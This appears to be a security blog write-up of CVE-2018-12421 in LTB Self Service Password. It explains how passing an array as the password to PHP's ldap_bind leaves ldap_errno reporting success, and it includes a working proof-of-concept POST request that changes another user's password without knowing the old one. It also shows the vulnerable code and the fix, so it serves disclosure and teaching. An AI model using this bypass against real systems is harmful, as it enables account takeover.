What is LDAP?

LDAP is the Lightweight Directory Access Protocol, and is a protocol used to access “Directory Servers”. The Directory is a special kind of database that holds information in a tree structure.

The concept is similar to your hard disk directory structure, except that in this context, the root directory is “The world” and the first level subdirectories are “countries”. Lower levels of the directory structure contain entries for companies, organisations or places, while yet lower still we find directory entries for people, and perhaps equipment or documents.

LDAP usage in PHP

We will focus on two LDAP PHP functions which are involved in the CVE, ldap_bind and ldap_errno.

Let’s start with an example of ldap_bind:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php
// using ldap bind
$ldaprdn = 'uname'; // ldap rdn or dn
$ldappass = 'password'; // associated password

// connect to ldap server
$ldapconn = ldap_connect("ldap://ldap.example.com")
or die("Could not connect to LDAP server.");

if ($ldapconn) {

// binding to ldap server
$ldapbind = ldap_bind($ldapconn, $ldaprdn, $ldappass);

// verify binding
if ($ldapbind) {
echo "LDAP bind successful...";
} else {
echo "LDAP bind failed...";
}

}
?>

The ldap_bind function, as the name suggests, just bind to the LDAP server by providing the LDAP link identifier, an rdn and a password, if the bind is successful the function returns true, else returns false.

Now let’s see another example of ldap_errno.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
// This example contains an error, which we will catch.
$ld = ldap_connect("localhost");
$bind = ldap_bind($ld);
// syntax error in filter expression (errno 87),
// must be "objectclass=*" to work.
$res = @ldap_search($ld, "o=Myorg, c=DE", "objectclass");
if (!$res) {
echo "LDAP-Errno: " . ldap_errno($ld) . "<br />\n";
echo "LDAP-Error: " . ldap_error($ld) . "<br />\n";
die("Argh!<br />\n");
}
$info = ldap_get_entries($ld, $res);
echo $info["count"] . " matching entries.<br />\n";
?>

Basically, the ldap_errno function returns the error number of the last LDAP command, in this case 87 since there is a filter error.

Where is the bug?

Well, there is no evidence of bug or logical errors since there, so let’s create a local environment with slapd LDAP server and phpLDAPadmin, then write a simple PHP page.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php
error_reporting(0);

$badpassword = "test";
$goodpassword = "admin";
$bugpassword[] = "a";

$ldap = ldap_connect("ldap://localhost");

ldap_set_option($ldap, LDAP_OPT_PROTOCOL_VERSION, 3);
ldap_set_option($ldap, LDAP_OPT_REFERRALS, 0);

$bind = ldap_bind($ldap, "cn=admin,dc=example,dc=com", $badpassword);
$errno = ldap_errno($ldap);
echo "Bind 1\n";
echo "ldap_bind return: " . $bind . "\n";
echo "ldap_errno return: " . $errno . "\n\n";

$bind = ldap_bind($ldap, "cn=admin,dc=example,dc=com", $goodpassword);
$errno = ldap_errno($ldap);
echo "Bind 2\n";
echo "ldap_bind return: " . $bind . "\n";
echo "ldap_errno return: " . $errno . "\n\n";

$bind = ldap_bind($ldap, "cn=admin,dc=example,dc=com", $bugpassword);
$errno = ldap_errno($ldap);
echo "Bind 3\n";
echo "ldap_bind return: " . $bind . "\n";
echo "ldap_errno return: " . $errno;
?>

The script connects to the local LDAP server and then executes three different bind, the first one with a wrong password, the second one with the correct password but with the last one we pass an array as password argument. Curious about the results? Just take a look.

1
2
3
4
5
6
7
8
9
10
11
Bind 1
ldap_bind return:
ldap_errno return: 49

Bind 2
ldap_bind return: 1
ldap_errno return: 0

Bind 3
ldap_bind return:
ldap_errno return: 0

Wow, this is very strange, right? Let’s analyze what happened. Accordlying with official LDAP return codes, in the first bind we received code 49 because the authentication failed, on the second one we received code 0 because the authentication was successful and on the last one we got the same behaviour as the previous scenario but we sent an array containing the string “a”, so we just “logged in” successfully to the LDAP server without knowing the password!

How can this be possible? Well, if you pay attention to the ldap_errno description, you will notice that the return value is about the LAST LDAP command, so if we first bind successfully to the LDAP server and then we bind again passing an array as password argument in the ldap_bind function, something breaks in the PHP function, the bind will not be executed and ldap_errno returns the previous code, which is 0 in this case (LDAP_SUCCESS).

Exploit the bug

How can this bug be exploited in a real scenario? There is a CVE-2018-12421 which says that “LTB (aka LDAP Tool Box) Self Service Password before 1.3 allows a change to a user password (without knowing the old password) via a crafted POST request, because the ldap_bind return value is mishandled and the PHP data type is not constrained to be a string.”

Unfortunatelly there were no Proof of Concept code, so I started analyzing the source code on Github and I deployed the application on my local environment, also I created two users on the local LDAP server.

Looking at the source code of “Self Service Passord” change.php file, notice that when an user wants to change his password the following PHP code is executed:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
# Bind with old password
$bind = ldap_bind($ldap, $userdn, $oldpassword);
$errno = ldap_errno($ldap);
if ( ($errno == 49) && $ad_mode ) {
if ( ldap_get_option($ldap, 0x0032, $extended_error) ) {
error_log("LDAP - Bind user extended_error $extended_error (".ldap_error($ldap).")");
$extended_error = explode(', ', $extended_error);
if ( strpos($extended_error[2], '773') or strpos($extended_error[0], 'NT_STATUS_PASSWORD_MUST_CHANGE') ) {
error_log("LDAP - Bind user password needs to be changed");
$errno = 0;
}
if ( ( strpos($extended_error[2], '532') or strpos($extended_error[0], 'NT_STATUS_ACCOUNT_EXPIRED') ) and $ad_options['change_expired_password'] ) {
error_log("LDAP - Bind user password is expired");
$errno = 0;
}
unset($extended_error);
}
}
if ( $errno ) {
$result = "badcredentials";
error_log("LDAP - Bind user error $errno (".ldap_error($ldap).")");
} else {
# Rebind as Manager if needed
if ( $who_change_password == "manager" ) {
$bind = ldap_bind($ldap, $ldap_binddn, $ldap_bindpw);
}
}
REDACTED
#==============================================================================
# Change password
#==============================================================================
if ( $result === "" ) {
$result = change_password($ldap, $userdn, $newpassword, $ad_mode, $ad_options, $samba_mode, $samba_options, $shadow_options, $hash, $hash_options, $who_change_password, $oldpassword);
if ( $result === "passwordchanged" && isset($posthook) ) {
$command = escapeshellcmd($posthook).' '.escapeshellarg($login).' '.escapeshellarg($newpassword).' '.escapeshellarg($oldpassword);
exec($command);
}
}

Do you notice something strange? There is no check on ldap_bind return value but only on ldap_errno return code, so we can exploit the vulnerability as described before.

Let’s try to reset the user1 password, fill the form with a random string on old password field and set a new password, then intercept the POST request with Burpsuite and rename oldpassword parameter in oldpassword[].

1
2
3
4
5
6
7
8
9
10
11
12
13
14
POST / HTTP/1.1
Host: localhost:8085
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://localhost:8085/
Content-Type: application/x-www-form-urlencoded
Content-Length: 87
Connection: close
Cookie: io=-SsYhdOEks7tGmK7AAAF; 5d89dac18813e15aa2f75788275e3588=65si85gbdnrttukdp17v6s5uek; collapsedNodes=
Upgrade-Insecure-Requests: 1

login=user1&oldpassword[]=idontknow&newpassword=password1234&confirmpassword=password1234

Yes, it happened!

Check on phpLDAPadmin if the password was correctly resetted.

Conclusion

There are a lot of softwares which check only ldap_errno return code without see if the bind is correctly executed.

There is one last question left: how did they fix the vulnerability? Well, they just check the return code of ldap_bind now.

1
2
3
4
5
6
7
if ( !$bind ) {
$result = "ldaperror";
$errno = ldap_errno($ldap);
if ( $errno ) {
error_log("LDAP - Bind error $errno (".ldap_error($ldap).")");
}
}